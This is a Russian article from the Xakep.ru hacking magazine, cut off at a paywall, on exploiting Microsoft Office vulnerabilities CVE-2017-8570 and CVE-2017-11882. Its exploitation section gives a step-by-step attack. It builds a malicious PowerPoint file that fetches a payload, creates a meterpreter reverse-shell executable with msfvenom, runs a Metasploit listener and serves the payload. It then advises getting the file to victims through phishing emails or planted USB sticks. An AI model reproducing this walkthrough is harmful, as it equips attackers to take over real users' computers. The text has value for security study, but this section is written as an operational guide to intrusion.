Отравленные документы. Как использовать самые опасные баги в Microsoft Office за последнее время

В этой статье мы разберем несколько далеко не новых, но в свое время нашумевших критических уязвимостей в офисных программах Microsoft. Под них уже давно есть модули Metasploit и куча заготовок на GitHub. Однако непропатченный Office — это по-прежнему бич корпоративной безопасности и путь на компьютер пользователей.

Некорректная обработка ответов от OLE (CVE-2017-8570)

В основе этого бага лежит ошибка, связанная с некорректной обработкой ответов от сервера в функции Microsoft OLE (Object Linking and Embedding), которая дает возможность встраивать одни документы внутрь других. Фича, конечно, полезная, но крайне небезопасная.

Когда зараженный документ открывают, приложение делает запрос на удаленный сервер, чтобы получить встроенный в этот документ файл. Сервер возвращает специально сформированный ответ. В нем содержится вpедоносный файл HTA, произвольный код из которого после загрузки выполняется на целевой системе.

Об этой проблеме стало известно в апреле 2017 года, а в августе произошел еще один важный эпизод: спецы из аналитического отдела Cisco рассказали о новой уязвимости, связанной с этой, — CVE-2017-0199. Если ранее для атак использовались документы Rich Text File (RTF), то новая угроза относилась к файлам PowerPoint (.ppsx).

Принцип работы

Атака, использующая эту уязвимость, развивается по весьма простому сценарию: пользователю приходит письмо с вредоносным документом Word и обманом заставляет жертву открыть вложения. Внутри документа скрывается объект OLE2link. Если жертва использует Protected View, то эксплоит не сработает, но вот если этот режим выключен, то на сервер атакующих уйдет HTTP-запрос, который подгрузит файл HTA, замаскированный под RTF.

Загрузка файла HTA, замаскированного под документ RTF
Листинг дампа в дизассемблере, демонстрирующий «опасную начинку»

Когда файл HTA подгрузится, он будет выполнен автоматически. Таким образом эксплоит срабатывает, а исходный документ Word будет закрыт. Вместо него откроется документ-фальшивка, предназначенный для усыпления бдительности жертвы.

Эксплуатация

Первым делом идем на GitHub и смотрим эксплоиты. Я буду пользоваться вариантом пользователя tezukanice. Создаем в директории Office8570 папку template и переносим в нее скачанный нами файл template.ppsx.

Подготовительный этап

Теперь запускаем скрипт, чтобы сгенерировать файл PPSX с полезной нагрузкой:

$ python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc

Указываем IP жертвы (в моем случае это 192.168.0.104) и видим, что появился файл Invoice.ppsx.

Генерируем файл с полезной нагрузкой

Далее, используя Metasploit, создаем полезную нагрузку в виде файла shell.exe в каталоге tmp:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe

Дело сделано, теперь запускаем слушатель, который будет чекать порт:

$ msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"

Чтобы все заработало, нам остается сделать еще одно действие — прописать команду на запуск локального сервера на 80-м порте.

$ python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe

И заключительный шаг — необходимо передать инфицированный файл презентации PowerPoint (Invoice.ppsx) на машину жертвы. Как — уже другой вопрос. Можно подготовить фишинговое письмо, подбросить флешку или еще что-нибудь в таком духе. Когда жертва откроет файл на своей машине, отработает эксплоит, и мы получим виндовый шелл.

Демонстрацию бага можешь наблюдать на видео.

Переполнение буфера в редакторе формул (CVE-2017-11882)

Этот опасный баг, который позволяет выполнить код без взаимодействия с пользователем, существовал 17 (семнадцать!) лет.

Исследователи объясняют, что проблема связана с работой Microsoft Equation Editor (EQNEDT32.EXE). Казалось бы, это же безобидный редактор формул! Но скомпилирован этот файл в последний раз был аж 9 ноября 2000 года. Разумеется, он не соответствует современным стандартам безопасности. В Office 2007 этот компонент заменили новой версией, но старую убирать не стали — людям же нужно открывать старые документы, верно?


Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Иван Пискунов: Технический эксперт, ресерчер, участник CTF-команды CraZY Geek$, 10 лет в индустрии ИБ. Автор блога ipiskunov.blogspot.com. Канал в telegram @w2hack или t.me/w2hack. Увлекается миром Unix, malware analysis, reverse engineering и тестированием сетей на проникновение